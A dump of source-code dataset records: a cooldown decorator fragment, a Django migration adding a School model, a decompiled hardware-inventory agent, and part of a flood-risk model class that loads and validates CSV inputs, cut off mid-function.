A `float` representing, in seconds, the interval before the cooldown resets.\n Defaults to `1`.\n\n Example:\n\n @commands.cooldown(6, 12) # Allow 6 uses per 12 seconds.\n @commands.command()\n async def ping(*args):\n return \"Pong!\"\n \"\"\"\n\n def decorator(command):\n command.set_cooldown(uses, interval)\n return command\n\n return decorator\n","sub_path":"k3/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":26642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"644093005","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport sorl.thumbnail.fields\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('startup', '0021_auto_20141021_1057'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='School',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=200, verbose_name='Nom')),\n ('website', models.URLField(null=True, verbose_name='Web Site', blank=True)),\n ('logo', sorl.thumbnail.fields.ImageField(null=True, upload_to=b'', blank=True)),\n ('is_visible', models.BooleanField(default=True, verbose_name=b'Visible')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n ]\n","sub_path":"api/startup/migrations/0022_school.py","file_name":"0022_school.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"150130777","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/mercury_agent/agent.py\n# Compiled at: 2019-04-01 19:51:35\n# Size of source mod 2**32: 5233 bytes\nimport logging, time\nfrom mercury.common.clients.rpc.backend import BackEndClient\nfrom mercury.common.exceptions import MercuryCritical, MercuryGeneralException, MercuryConfigurationError\nfrom mercury_agent.capabilities import runtime_capabilities\nfrom mercury_agent.configuration import get_configuration\nfrom mercury_agent.pong import spawn_pong_process\nfrom mercury_agent.register import get_dhcp_ip, register\nfrom mercury_agent.remote_logging import MercuryLogHandler\nfrom mercury_agent.rpc import AgentService\nfrom mercury_agent.inspector import inspect\nfrom mercury_agent.inspector.inspectors.async_inspectors.lldp import LLDPInspector\nlog = logging.getLogger(__name__)\nRETRY_SECONDS = 15\n\nclass Agent(object):\n\n def __init__(self, configuration, logger):\n \"\"\"\n\n :param configuration:\n \"\"\"\n self.configuration = configuration\n self.agent_bind_address = configuration.agent.bind_address\n self.pong_bind_address = configuration.agent.pong_bind_address\n self.rpc_backend_url = self.configuration.agent.remote.backend_url\n self.log_handler = logger\n if not self.rpc_backend_url:\n raise MercuryCritical('Missing rpc backend in local configuration')\n self.backend = BackEndClient((self.rpc_backend_url), linger=0,\n response_timeout=10,\n rcv_retry=3)\n\n def run(self, dhcp_ip_method='simple'):\n log.debug('Agent: %s, Pong: %s' % (self.agent_bind_address,\n self.pong_bind_address))\n log.info('Running inspectors')\n device_info = inspect.inspect()\n log.info('Registering device inventory for MercuryID {}'.format(device_info['mercury_id']))\n log.info('Starting pong service')\n spawn_pong_process(self.pong_bind_address)\n log.info('Registering device')\n local_ip = get_dhcp_ip(device_info, method=dhcp_ip_method)\n local_ipv6 = None\n while True:\n result = register(self.backend, device_info, local_ip, local_ipv6, runtime_capabilities)\n if result.get('error'):\n log.info('Registration was not successful, retrying...')\n time.sleep(RETRY_SECONDS)\n else:\n log.info('Device has been registered successfully')\n break\n\n if self.log_handler is not None:\n log.info('Injecting MercuryID for remote logging')\n self.log_handler.set_mercury_id(device_info['mercury_id'])\n log.info('Injection completed')\n try:\n LLDPInspector(device_info, self.backend).inspect()\n except MercuryGeneralException as mge:\n log.error('Caught recoverable exception running async inspector: {}'.format(mge))\n\n log.info('Starting agent rpc service: %s' % self.agent_bind_address)\n agent_service = AgentService(self.agent_bind_address, self.rpc_backend_url)\n agent_service.start()\n\n\ndef setup_logging(configuration):\n logging.basicConfig(level=(configuration.logging.level), format=(configuration.logging.format))\n mercury_logger = logging.getLogger('mercury_agent')\n mercury_logger.info('Starting Agent')\n logging.getLogger('mercury_agent.pong').setLevel(configuration.agent.pong_log_level)\n logging.getLogger('hpssa._cli').setLevel(logging.ERROR)\n log_service_url = configuration.agent.remote.log_service_url\n if log_service_url:\n mh = MercuryLogHandler(configuration.agent.remote.log_service_url)\n mercury_logger.addHandler(mh)\n return mh\n else:\n return\n\n\ndef main():\n try:\n configuration = get_configuration()\n except MercuryConfigurationError as mce:\n import sys\n print(('Error in configuration: {}'.format(mce)), file=(sys.stderr))\n sys.exit(1)\n\n mercury_handler = setup_logging(configuration)\n agent = Agent(configuration, mercury_handler)\n agent.run(configuration.agent.dhcp_ip_source)\n\n\nif __name__ == '__main__':\n main()","sub_path":"pycfiles/mercury_agent-0.1.10-py3.6/agent.cpython-36.py","file_name":"agent.cpython-36.py","file_ext":"py","file_size_in_byte":4243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"331764979","text":"'''\nCreated on Feb. 9, 2020\n\n@author: cefect\n'''\n#==============================================================================\n# logger----------\n#==============================================================================\n\n#==============================================================================\n# imports------------\n#==============================================================================\n\nimport configparser, os, inspect, logging\nimport pandas as pd\nimport numpy as np\n\nfrom scipy import interpolate, integrate\n\n#==============================================================================\n# custom\n#==============================================================================\n#standalone runs\nif __name__ ==\"__main__\": \n from hlpr.logr import basic_logger\n mod_logger = basic_logger() \n\n \n#plugin runs\nelse:\n mod_logger = logging.getLogger('common') #get the root logger\n\nfrom hlpr.exceptions import QError as Error\n \nfrom hlpr.basic import *\n\n#==============================================================================\n# class-----------\n#==============================================================================\nclass Model(ComWrkr):\n \"\"\"\n common methods for model classes\n \n \n Control File Parameters:\n [parameters]\n\n event_probs -- format of event probabilities (in 'aeps' data file) \n (default 'ari')\n \n 'aeps' event probabilities in aeps file expressed as \n annual exceedance probabilities\n 'aris' expressed as annual recurrance intervals\n \n \n ltail -- zero probability event extrapolation handle \n (default 'extrapolate')\n 'flat' set the zero probability event equal to the most \n extreme impacts in the passed series\n 'extrapolate' set the zero probability event by extrapolating from \n the most extreme impact\n 'none' do not extrapolate (not recommended)\n float use the passed value as the zero probability impact value\n \n \n rtail -- zreo impacts event extrapolation handle (default 0.5)\n 'extrapolate' set the zero impact event by extrapolating from the \n least extreme impact\n 'none' do not extrapolate (not recommended) \n float use the passed value as the zero impacts aep value\n \n drop_tails -- flag to drop the extrapolated values from the results \n (default True)\n \n integrate -- numpy integration method to apply (default 'trapz')\n \n res_per_asset -- flag to generate results per asset \n \n ground_water -- flag to include negative depths in the analysis\n \n [dmg_fps]\n\n \n [risk_fps]\n dmgs -- damage data results file path (default N/A)\n \n exlikes -- secondary exposure likelihood data file path (default N/A)\n \n evals -- event probability data file path (default N/A)\n \n [validation]\n risk2 -- Risk2 validation flag (default False)\n \n \"\"\"\n \n #==========================================================================\n # parameters from control file\n #==========================================================================\n #[parameters]\n name = ''\n cid = ''\n prec = 2\n ground_water = False\n felv = ''\n event_probs = 'ari'\n ltail = 'extrapolate'\n rtail = 0.5\n drop_tails = True\n integrate = 'trapz'\n\n\n \n #[dmg_fps]\n curves = ''\n finv = ''\n expos = ''\n gels = ''\n \n #[risk_fps]\n dmgs = ''\n exlikes = ''\n evals = ''\n\n \n #[validation]\n risk1 = True\n dmg2 = False\n risk2 = False\n risk3 = False\n \n #==========================================================================\n # program vars\n #==========================================================================\n bid = 'bid' #indexer for expanded finv\n\n #minimum inventory expectations\n finv_exp_d = {\n 'f0_scale':{'type':np.number},\n 'f0_elv':{'type':np.number},\n }\n \n max_depth = 20 #maximum depth for throwing an error in build_depths()\n \n\n \n \n def __init__(self,\n cf_fp, #control file path \"\"\" note: this could also be attached by basic.ComWrkr.__init__()\"\"\"\n split_key=None,#for checking monotonicy on exposure sets with duplicate events\n\n\n **kwargs):\n \n mod_logger.info('Model.__init__ start')\n assert os.path.exists(cf_fp), 'bad control filepath: %s'%cf_fp\n \n super().__init__(**kwargs) #initilzie teh baseclass\n \n self.cf_fp = cf_fp\n self.split_key= split_key\n \n\n #attachments\n self.data_d = dict() #dictionary for loaded data sets\n \n self.logger.debug('finished Model.__init__')\n \n \n def init_model(self, #common inits for all model classes\n ):\n \"\"\"\n should be called by the model's own 'setup()' func\n during standalones and Dialog runs\n \"\"\" \n \n #parameter setup\n self.cf_attach_pars(self.cf_fp)\n \n \n #check our validity tag\n if not getattr(self, self.valid_par):\n raise Error('control file not validated for \\'%s\\'. please run InputValidator'%self.valid_par)\n \n #wrap\n self.logger.debug('finished init_modelon Model')\n \n \n \n def cf_attach_pars(self, #load parmaeteres from file, check, and attach\n cf_fp):\n \n log = self.logger.getChild('cf_attach_pars')\n \n assert os.path.exists(cf_fp), 'provided parameter file path does not exist \\n %s'%cf_fp\n \n #======================================================================\n # validate the control file for this run\n #======================================================================\n #load/build\n self.pars = configparser.ConfigParser(inline_comment_prefixes='#')\n log.info('reading parameters from \\n %s'%self.pars.read(cf_fp))\n \n #======================================================================\n # check control file against expectations\n #======================================================================\n #check sections\n miss_l = set(self.exp_pars_md.keys()).difference(self.pars.sections())\n \n if len(miss_l) > 0:\n raise Error('missing %i expected sections in control file: %s'%(len(miss_l), miss_l))\n \n #======================================================================\n # mandatory check and collect \n #======================================================================\n cpars_d = dict()\n cnt = 0\n for sect, vchk_d in self.exp_pars_md.items():\n cpars_d[sect] = dict()\n \n if not sect in self.pars.sections():\n raise Error('missing section %s'%sect)\n \n #check presence\n miss_l = set(vchk_d.keys()).difference(self.pars[sect])\n if len(miss_l) > 0:\n raise Error('\\'%s\\' missing %i (of %i) expected varirables: \\n %s'%(\n sect, len(miss_l), len(vchk_d), miss_l))\n \n #check attributes\n for varnm, achk_d in vchk_d.items():\n \"\"\"no! allow None\n assert isinstance(achk_d, dict), '%s.%s bad type'%(sect, varnm)\"\"\"\n assert hasattr(self, varnm), '\\'%s\\' does not exist on %s'%(varnm, self)\n\n \n #==============================================================\n # #get value from parameter \n #==============================================================\n pval_raw = self.pars[sect][varnm]\n \n #get native type\n ntype = type(getattr(self, varnm))\n \n #special type retrivial\n if ntype == bool:\n pval = self.pars[sect].getboolean(varnm)\n else:\n #set the type\n pval = ntype(pval_raw)\n \n #==============================================================\n # check it\n #==============================================================\n self.par_hndl_chk(sect, varnm, pval, achk_d)\n \n\n #==============================================================\n # store value\n #==============================================================\n \n cpars_d[sect][varnm] = pval\n cnt +=1\n \n log.info('collected MANDATORY %i variables from %i sections from paramter file'%(\n cnt, len(cpars_d)))\n #======================================================================\n # optional check and collect\n #======================================================================\n cnt2 = 0\n for sect, vchk_d in self.exp_pars_op.items(): \n #add a page to the container\n if not sect in cpars_d:\n cpars_d[sect] = dict()\n \n #loop and see if they have been provided\n for varnm, achk_d in vchk_d.items():\n #assert isinstance(achk_d, dict), '%s.%s bad type'%(sect, varnm)\n assert hasattr(self, varnm), '\\'%s\\' does not exist on %s'%(varnm, self)\n assert varnm in self.pars[sect], '%s.%s is not a valid parameter'%(sect, varnm)\n \n #==============================================================\n # #get value from parameter \n #==============================================================\n pval_raw = self.pars[sect][varnm]\n \n if pval_raw is None or pval_raw == '':\n log.debug('%s.%s blank.. skipping'%(sect, varnm))\n continue\n \n #get native type\n ntype = type(getattr(self, varnm))\n \n #special type retrivial\n if ntype == bool:\n pval = self.pars[sect].getboolean(varnm)\n else:\n #set the type\n pval = ntype(pval_raw)\n \n #==============================================================\n # check it\n #==============================================================\n self.par_hndl_chk(sect, varnm, pval, achk_d)\n \n #==============================================================\n # store value\n #==============================================================\n log.debug('%s.%s passed %i checks'%(sect, varnm, len(achk_d)))\n cpars_d[sect][varnm] = pval\n cnt2+=1\n \n log.info('collected OPTIONAl %i variables from %i sections from paramter file'%(\n cnt2, len(cpars_d)))\n \n #======================================================================\n # attach all the paramers\n #======================================================================\n cnt = 0\n for sect, spars_d in cpars_d.items():\n for varnm, val in spars_d.items():\n setattr(self, varnm, val)\n log.debug('set %s=%s'%(varnm, val))\n cnt +=1\n \n log.info('attached %i parmaeters to self'%cnt)\n \n \n \n return cpars_d\n \n \n \n def par_hndl_chk(self, #check a parameter aginast provided handles\n sect, varnm, pval, achk_d\n ):\n \n log = self.logger.getChild('par_hndl_chk')\n assert not pval is None or pval == '', '%s.%s got none'%(sect, varnm)\n if achk_d is None:\n log.warning('no checks provided for %s.%s'%(sect, varnm))\n return\n #==============================================================\n # #check each handle\n #==============================================================\n for chk_hndl, hvals in achk_d.items():\n \n if chk_hndl is None:\n pass\n elif chk_hndl == 'type':\n assert inspect.isclass(hvals)\n assert isinstance(pval,hvals), '%s.%s expected %s got type: %s'%(sect, varnm, hvals, type(pval))\n \n elif chk_hndl == 'values':\n assert isinstance(hvals, tuple), '%s.%s got bad type on hvals: %s'%(sect, varnm, type(hvals))\n assert pval in hvals, '%s.%s unexpected value: %s'%(sect, varnm, type(pval))\n \n elif chk_hndl == 'ext':\n assert isinstance(pval, str), '%s.%s expected a filepath '%(sect, varnm)\n assert os.path.exists(pval), '%s.%s passed bad filepath: \\'%s\\''%(sect, varnm, pval)\n \n ext = os.path.splitext(os.path.split(pval)[1])[1]\n\n \n if isinstance(hvals, tuple):\n assert ext in hvals, '%s.%s unrecognized extension: %s'%( sect, varnm, ext)\n elif isinstance(hvals, str):\n assert ext == hvals, '%s.%s unrecognized extension: %s'%( sect, varnm, ext)\n else:\n raise Error('%s.%s bad hvals'%sect, varnm)\n \n \n else:\n raise Error('unrecognized check handle: %s'%chk_hndl)\n log.debug('%s.%s passed %i checks'%(sect, varnm, len(achk_d)))\n return\n \n\n def load_finv(self,#loading expo data\n fp = None,\n dtag = 'finv',\n finv_exp_d = None, #finv expeectations\n ):\n \n log = self.logger.getChild('load_finv')\n if fp is None: fp = getattr(self, dtag)\n if finv_exp_d is None: finv_exp_d = self.finv_exp_d\n cid = self.cid\n \n #======================================================================\n # precehcsk\n #======================================================================\n assert os.path.exists(fp), '%s got invalid filepath \\n %s'%(dtag, fp)\n #======================================================================\n # load it\n #======================================================================\n df_raw = pd.read_csv(fp, index_col=None)\n \n #======================================================================\n # check it\n #======================================================================\n assert cid in df_raw.columns, '%s missing index column \\\"%s\\''%(dtag, cid)\n \n \n #======================================================================\n # clean it\n #======================================================================\n #df = df_raw\n df = df_raw.set_index(cid, drop=True).sort_index(axis=0)\n \n #======================================================================\n # post check\n #======================================================================\n \n #use expectation handles\n for coln, hndl_d in finv_exp_d.items():\n assert isinstance(hndl_d, dict)\n assert coln in df.columns, \\\n '%s missing expected column \\'%s\\''%(dtag, coln)\n ser = df[coln]\n for hndl, cval in hndl_d.items():\n \n if hndl=='type':\n assert np.issubdtype(ser.dtype, cval), '%s.%s bad type: %s'%(dtag, coln, ser.dtype)\n \n \"\"\"\n throwing FutureWarning: Conversion of the second argument of issubdtype\n \n https://stackoverflow.com/questions/48340392/futurewarning-conversion-of-the-second-argument-of-issubdtype-from-float-to\n \"\"\"\n \n elif hndl == 'contains':\n assert cval in ser, '%s.%s should contain %s'%(dtag, coln, cval)\n else:\n raise Error('unexpected handle: %s'%hndl)\n \n #======================================================================\n # set it\n #======================================================================\n self.cindex = df.index.copy() #set this for checks later\n self.data_d[dtag] = df\n \n log.info('finished loading %s as %s'%(dtag, str(df.shape)))\n \n\n \n \n \n def load_evals(self,#loading expo data\n fp = None,\n dtag = 'evals',\n ):\n \n log = self.logger.getChild('load_evals')\n if fp is None: fp = getattr(self, dtag)\n\n #check load sequence\n assert os.path.exists(fp), '%s got invalid filepath \\n %s'%(dtag, fp)\n assert 'finv' in self.data_d, 'call load_finv first'\n \n #======================================================================\n # load it\n #======================================================================\n adf = pd.read_csv(fp)\n \n #======================================================================\n # precheck\n #======================================================================\n assert len(adf) ==1, 'expected only 1 row on aeps'\n \n\n #convert to a series\n aser_raw = adf.iloc[0,:]\n \n #======================================================================\n # check\n #======================================================================\n boolar = aser_raw == 0\n assert not boolar.any(), 'got some zeros in aep_ser'\n #======================================================================\n # convert\n #======================================================================\n #convert to aep\n if self.event_probs == 'ari':\n aep_ser = aser_raw.astype(int)\n aep_ser = 1/aep_ser\n log.info('converted %i aris to aeps'%len(aep_ser))\n elif self.event_probs == 'aep': \n aep_ser = aser_raw.astype(float)\n pass\n else: \n raise Error('unepxected event_probs key %s'%self.event_probs)\n \n #extreme to likely\n aep_ser = aep_ser.sort_values(ascending=True)\n aep_ser.name='aeps'\n #======================================================================\n # check range\n #======================================================================\n #check all aeps are below 1\n boolar = np.logical_and(\n aep_ser < 1,\n aep_ser > 0)\n \n assert np.all(boolar), 'passed aeps out of range'\n \n #======================================================================\n # #wrap\n #======================================================================\n log.debug('prepared aep_ser w/ %i: \\n %s'%(len(aep_ser), aep_ser.to_dict()))\n \n \n #self.aep_ser = aep_ser.sort_values()\n self.data_d[dtag] = aep_ser #setting for consistency. \n \n self.expcols = aep_ser.index.copy() #set for later checks\n \n def load_expos(self,#loading any exposure type data (expos, or exlikes)\n fp = None,\n dtag = 'expos',\n check_monot=False, #whether to check monotonciy\n logger=None,\n ):\n #======================================================================\n # defaults\n #======================================================================\n if logger is None: logger=self.logger\n \n log = logger.getChild('load_expos')\n if fp is None: fp = getattr(self, dtag)\n cid = self.cid\n \n assert 'finv' in self.data_d, 'call load_finv first'\n assert 'evals' in self.data_d, 'call load_aep first'\n assert isinstance(self.expcols, pd.Index), 'bad expcols'\n assert isinstance(self.cindex, pd.Index), 'bad cindex'\n assert os.path.exists(fp), '%s got invalid filepath \\n %s'%(dtag, fp)\n #======================================================================\n # load it\n #======================================================================\n df_raw = pd.read_csv(fp, index_col=None)\n \n #======================================================================\n # precheck\n #======================================================================\n assert cid in df_raw.columns, '%s missing index column \\\"%s\\''%(dtag, cid)\n assert df_raw.columns.dtype.char == 'O','bad event names on %s'%dtag\n \n #======================================================================\n # clean it\n #======================================================================\n df = df_raw.set_index(cid, drop=True).sort_index(axis=1).sort_index(axis=0)\n \n #======================================================================\n # postcheck\n #======================================================================\n \"\"\"\n NO! exlikes generally is shorter\n allowing the expos to be larger than the finv \n \n \"\"\"\n #check cids\n miss_l = set(self.cindex).difference(df.index)\n assert len(miss_l) == 0, 'some assets on %s not found in finv'%dtag\n \n #check events\n \"\"\"\n must match the aeps\n \"\"\"\n if dtag == 'exlikes':\n miss_l = set(df.columns).difference(self.expcols)\n else:\n miss_l = set(self.expcols).difference(df.columns)\n \n assert len(miss_l) == 0, '%i events on \\'%s\\' not found in aep_ser: \\n %s'%(\n len(miss_l), dtag, miss_l)\n \n \n #check dtype of columns\n for ename, chk_dtype in df.dtypes.items():\n assert np.issubdtype(chk_dtype, np.number), 'bad dtype %s.%s'%(dtag, ename)\n \n #======================================================================\n # slice\n #======================================================================\n df = df.loc[self.cindex,:]\n \n #======================================================================\n # postcheck2\n #======================================================================\n booldf = df.isna()\n if booldf.any().any():\n \"\"\"wsl nulls are left as such by build_depths()\"\"\"\n log.warning('\\'%s\\' got %i (of %i) null values'%(\n dtag, booldf.sum().sum(), booldf.size))\n \n assert np.array_equal(self.cindex, df.index), 'cid mismatch'\n \n\n if check_monot:\n self.check_monot(df, aep_ser = self.data_d['evals'])\n\n\n #======================================================================\n # set it\n #======================================================================\n \n self.data_d[dtag] = df\n \n log.info('finished loading %s as %s'%(dtag, str(df.shape)))\n \n def load_exlikes(self,#loading any exposure type data (expos, or exlikes)\n dtag = 'exlikes',\n **kwargs\n ):\n \n log = self.logger.getChild('load_exlikes')\n \n aep_ser = self.data_d['evals']\n #======================================================================\n # load the data\n #======================================================================\n \n self.load_expos(dtag=dtag, **kwargs) #use the load_expos\n \n edf = self.data_d.pop(dtag)\n \n log.info('loading w/ %s'%str(edf.shape))\n #======================================================================\n # repair assets w/ missing secondaries\n #======================================================================\n #replace nulls w/ 1\n \"\"\"better not to pass any nulls.. but if so.. should treat them as ZERO!!\n Null = no failure polygon = no failure\n also best not to apply precision to these values\n \"\"\"\n booldf = edf.isna()\n if booldf.any().any():\n log.warning('got %i (of %i) nulls!... filling with zeros'%(booldf.sum().sum(), booldf.size))\n edf = edf.fillna(0.0)\n \n #==================================================================\n # check\n #==================================================================\n #check logic against aeps\n if aep_ser.is_unique:\n raise Error('passed exlikes, but there are no duplicated event: \\n %s'%aep_ser)\n \n\n #==================================================================\n # #add missing likelihoods\n #==================================================================\n \"\"\"\n missing column = no secondary likelihoods at all for this event.\n all = 1\n \"\"\"\n \n miss_l = set(self.expcols).difference(edf.columns)\n if len(miss_l) > 0:\n \n log.info('passed exlikes missing %i secondary exposure likelihoods... treating these as 1\\n %s'%(\n len(miss_l), miss_l))\n \n for coln in miss_l:\n edf[coln] = 1.0\n \n \n \n log.info('prepared edf w/ %s'%str(edf.shape))\n \n #==================================================================\n # check it\n #==================================================================\n\n \n #set it\n self.data_d[dtag] = edf\n \n def load_gels(self,#loading expo data\n fp = None,\n dtag = 'gels'):\n \n log = self.logger.getChild('load_gels')\n if fp is None: fp = getattr(self, dtag)\n cid = self.cid\n \n #======================================================================\n # precheck\n #======================================================================\n assert 'finv' in self.data_d, 'call load_finv first'\n assert isinstance(self.cindex, pd.Index), 'bad cindex'\n assert os.path.exists(fp), '%s got invalid filepath \\n %s'%(dtag, fp)\n \n #======================================================================\n # load it\n #======================================================================\n df_raw = pd.read_csv(fp, index_col=None)\n \n #======================================================================\n # check it\n #======================================================================\n assert cid in df_raw.columns, '%s missing index column \\\"%s\\''%(dtag, cid)\n assert len(df_raw.columns)==2, 'expected 1 column on gels, got %i'%len(df_raw.columns)\n \n #======================================================================\n # clean it\n #======================================================================\n #df = df_raw\n df = df_raw.set_index(cid, drop=True).sort_index(axis=0)\n \n df = df.rename(columns={df.columns[0]:'gels'}).round(self.prec)\n \n #slice down to cids in the cindex\n \"\"\"requiring dmg and expos inputs to match\n allowing minor inputs to be sliced\"\"\"\n l = set(self.cindex.values).difference(df.index.values)\n assert len(l)==0, 'gels missing %i cids: %s'%(len(l), l)\n \n boolidx = df.index.isin(self.cindex.values)\n df = df.loc[boolidx, :]\n \n log.debug('sliced from %i to %i'%(len(boolidx), boolidx.sum()))\n \n #======================================================================\n # post checks\n #======================================================================\n #check cids\n assert np.array_equal(self.cindex, df.index), 'cid mismatch'\n\n \n #check dtype of columns\n for ename, chk_dtype in df.dtypes.items():\n assert np.issubdtype(chk_dtype, np.number), 'bad dtype %s.%s'%(dtag, ename)\n \n boolidx = df.iloc[:,0].isna()\n if boolidx.any():\n raise Error('got %i (of %i) null ground elevation values'%(boolidx.sum(), len(boolidx)))\n \n boolidx = df.iloc[:,0] < 0\n if boolidx.any():\n log.warning('got %i ground elevations below zero'%boolidx.sum())\n \n #======================================================================\n # set it\n #======================================================================\n self.data_d[dtag] = df\n \n log.info('finished loading %s as %s w/ \\n min=%.2f, mean=%.2f, max=%.2f'%(\n dtag, str(df.shape), df.min().min(), df.mean().mean(), df.max().max()))\n \n \n def load_dmgs(self,#loading any exposure type data (expos, or exlikes)\n fp = None,\n dtag = 'dmgs',\n check_monot=False, #whether to check monotonciy\n logger=None,\n ):\n #======================================================================\n # defaults\n #======================================================================\n if logger is None: logger=self.logger\n \n log = logger.getChild('load_dmgs')\n if fp is None: fp = getattr(self, dtag)\n cid = self.cid\n \n assert 'finv' in self.data_d, 'call load_finv first'\n assert 'evals' in self.data_d, 'call load_evals first'\n assert isinstance(self.expcols, pd.Index), 'bad expcols'\n assert isinstance(self.cindex, pd.Index), 'bad cindex'\n assert os.path.exists(fp), '%s got invalid filepath \\n %s'%(dtag, fp)\n #======================================================================\n # load it\n #======================================================================\n df_raw = pd.read_csv(fp, index_col=None)\n \n #======================================================================\n # precheck\n #======================================================================\n assert cid in df_raw.columns, '%s missing index column \\\"%s\\''%(dtag, cid)\n assert df_raw.columns.dtype.char == 'O','bad event names on %s'%dtag\n \n\n \n #======================================================================\n # clean it\n #======================================================================\n df = df_raw.copy()\n #drop dmg suffix\n boolcol = df.columns.str.endswith('_dmg')\n enm_l = df.columns[boolcol].str.replace('_dmg', '').tolist()\n \n #rename these\n ren_d = dict(zip(df.columns[boolcol].values, enm_l))\n df = df.rename(columns=ren_d)\n \n \n df = df.set_index(cid, drop=True).sort_index(axis=0)\n \n df = df.round(self.prec)\n \n #======================================================================\n # postcheck\n #======================================================================\n assert len(enm_l) > 1, 'failed to identify sufficient damage columns'\n \n\n #check cid index match\n assert np.array_equal(self.cindex, df.index), \\\n 'provided \\'%s\\' index (%i) does not match finv index (%i)'%(dtag, len(df), len(self.cindex))\n \n #check events\n \"\"\"\n must match the aeps\n \"\"\"\n miss_l = set(self.expcols).difference(df.columns)\n \n assert len(miss_l) == 0, '%i events on \\'%s\\' not found in aep_ser: \\n %s'%(\n len(miss_l), dtag, miss_l)\n \n \n #check dtype of columns\n for ename, chk_dtype in df.dtypes.items():\n assert np.issubdtype(chk_dtype, np.number), 'bad dtype %s.%s'%(dtag, ename)\n \n \n #======================================================================\n # postcheck2\n #======================================================================\n if check_monot:\n self.check_monot(df, aep_ser = self.data_d['evals'])\n\n\n #======================================================================\n # set it\n #======================================================================\n \n self.data_d[dtag] = df\n \n log.info('finished loading %s as %s'%(dtag, str(df.shape)))\n \n \n def add_gels(self): #add gels to finv (that's heights)\n log = self.logger.getChild('add_gels')\n \n \n assert self.felv == 'ground'\n assert 'gels' in self.data_d\n assert 'finv' in self.data_d\n \n #======================================================================\n # get data\n #======================================================================\n gdf = self.data_d['gels']\n fdf = self.data_d.pop('finv')\n\n log.info('on dtm values %s and finv %s'%(str(gdf.shape), str(fdf.shape)))\n #==================================================================\n # checks\n #==================================================================\n #check length expectation\n assert 'gels' not in fdf.columns, 'gels already on fdf'\n \n \n #======================================================================\n # #do the join join\n #======================================================================\n fdf = fdf.join(gdf)\n \n log.debug('finished with %s'%str(fdf.shape))\n \n self.data_d['finv'] = fdf\n \n \n \n def build_exp_finv(self, #assemble the expanded finv\n group_cnt = None, #number of groups to epxect per prefix\n ):\n \n #======================================================================\n # defaults\n #======================================================================\n log = self.logger.getChild('build_exp_finv')\n fdf = self.data_d['finv']\n cid, bid = self.cid, self.bid\n \n if group_cnt is None: group_cnt = self.group_cnt\n \n #======================================================================\n # group_cnt defaults\n #======================================================================\n assert isinstance(group_cnt, int)\n \n exp_fcolns = [cid, 'fscale', 'felv']\n if group_cnt == 2:\n pass\n \n elif group_cnt == 4:\n exp_fcolns = exp_fcolns + ['ftag', 'fcap']\n \n else:\n raise Error('bad group_cnt %i'%group_cnt)\n \n \n \n #======================================================================\n # precheck\n #======================================================================\n \"\"\"do this in the loaders\"\"\"\n assert fdf.index.name == cid, 'bad index on fdf'\n \n #======================================================================\n # get prefix values\n #======================================================================\n #pull all the elv columns\n tag_coln_l = fdf.columns[fdf.columns.str.endswith('elv')].tolist()\n \n assert len(tag_coln_l) > 0, 'no \\'elv\\' columns found in inventory'\n assert tag_coln_l[0] == 'f0_elv', 'expected first tag column to be \\'f0_elv\\''\n \n #get nested prefix values\n prefix_l = [coln[:2] for coln in tag_coln_l]\n \n log.info('got %i prefixes: %s'%(len(prefix_l), prefix_l))\n \n \n #======================================================================\n # expand: nested entries---------------\n #======================================================================\n if len(prefix_l) > 1:\n \n #==================================================================\n # #loop and collected nests\n #==================================================================\n bdf = None\n \n for prefix in prefix_l:\n #identify prefix columns\n pboolcol = fdf.columns.str.startswith(prefix) #columns w/ prefix\n \n assert pboolcol.sum()>=group_cnt, 'prefix \\'%s\\' group_cnt %i != %i'%(\n prefix, pboolcol.sum(), group_cnt)\n \n \n #get slice and clean\n df = fdf.loc[:, pboolcol].dropna(axis=0, how='all').sort_index(axis=1)\n \n #get clean column names\n df.columns = df.columns.str.replace('%s_'%prefix, 'f')\n df = df.reset_index()\n \n #add to main\n if bdf is None:\n bdf = df\n else:\n bdf = bdf.append(df, ignore_index=True, sort=False)\n \n log.info('for \\\"%s\\' got %s'%(prefix, str(df.shape)))\n \n \n #==================================================================\n # #add back in other needed columns\n #==================================================================\n boolcol = fdf.columns.isin(['gels']) #additional columns to pivot out\n \n if boolcol.any(): #if we are only linking in gels, these may not exist\n bdf = bdf.merge(fdf.loc[:, boolcol], on=cid, how='left',validate='m:1')\n \n log.debug('joined back in %i columns: %s'%(\n boolcol.sum(), fdf.loc[:, boolcol].columns.tolist()))\n \n #wrap\n log.info('expanded inventory from %i nest sets %s to finv %s'%(\n len(prefix_l), str(fdf.shape), str(bdf.shape)))\n #======================================================================\n # expand: nothing nested\n #======================================================================\n elif len(prefix_l) == 1:\n log.info('no nested columns. using raw inventory')\n \n\n #identify and check prefixes\n prefix = prefix_l.pop(0)\n pboolcol = fdf.columns.str.startswith(prefix) #columns w/ prefix\n \n assert pboolcol.sum() == group_cnt, 'prefix \\'%s\\' group_cnt %i != %i'%(\n prefix, pboolcol.sum(), group_cnt)\n \n #build dummy bdf\n bdf = fdf.copy()\n bdf[cid] = bdf.index #need to duplicate it\n \n #fix the columns\n bdf.columns = bdf.columns.str.replace('%s_'%prefix, 'f')\n \n #reset the index\n bdf = bdf.reset_index(drop=True)\n \n else:\n raise Error('bad prefix match')\n \n #set indexers\n bdf[bid] = bdf.index\n bdf.index.name=bid\n \n #======================================================================\n # check\n #======================================================================\n miss_l = set(exp_fcolns).difference(bdf.columns)\n assert len(miss_l) == 0\n \n \n #======================================================================\n # adjust fscale--------------\n #======================================================================\n boolidx = bdf['fscale'].isna()\n if boolidx.any():\n log.info('setting %i null fscale values to 1'%boolidx.sum())\n bdf.loc[:, 'fscale'] = bdf['fscale'].fillna(1.0)\n \n \n #======================================================================\n # convert heights ----------\n #======================================================================\n s = bdf.loc[:, 'felv']\n \n 